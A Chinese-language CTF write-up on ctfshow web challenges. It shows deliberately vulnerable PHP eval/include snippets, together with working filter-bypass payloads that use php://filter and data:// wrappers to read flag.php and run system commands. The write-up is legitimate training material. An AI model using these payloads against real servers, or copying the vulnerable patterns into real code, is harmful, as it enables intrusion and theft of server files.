命令执行:PHP伪协议在命令执行中的应用
作者:Mi2ac1e
博客:tysec.top
本文收集了部分来自ctfshow web入门命令执行的题 总结一下他们的应用场景
一、PHP://filter的应用 配合POST数据完成读取
web32:
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
*分号的过滤
*(括号的过滤
直接导致我们无法在使用前面的函数进行命令执行
但是$ ? > 等关键字没有被过滤
解决上方提出的两个问题:
*使用?>来代替;
*使用include函数来进行辅助传参
*使用PHP伪协议来读取源代码。
?c=include”$_POST[1]”?>
下面的命令使用POST提交:
1=php://filter/read=convert.base64-encode/resource=flag.php
web65:
<?php if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
c=include($_GET[‘a’]);
?a=php://filter/read=convert.base64-encode/resource=flag.php
二、PHP://data协议的应用
web37
当过滤了一些关键字无法直接读取时
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
?c=data://text/plain,<?php system(“cat f*”); ?> 也就是:
data://text/plain,<?php //php代码 ?>并调用函数system来实现命令执行。
web38
仍然考察data这个协议,只不过过滤代码变成了这个:
if(!preg_match("/flag|php|file/i", $c)){
过滤了PHP,由于版本较高,<? ?>无法被识别成PHP代码
那么就需要使用base64加密:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=
这样就可以完美绕过过滤机制..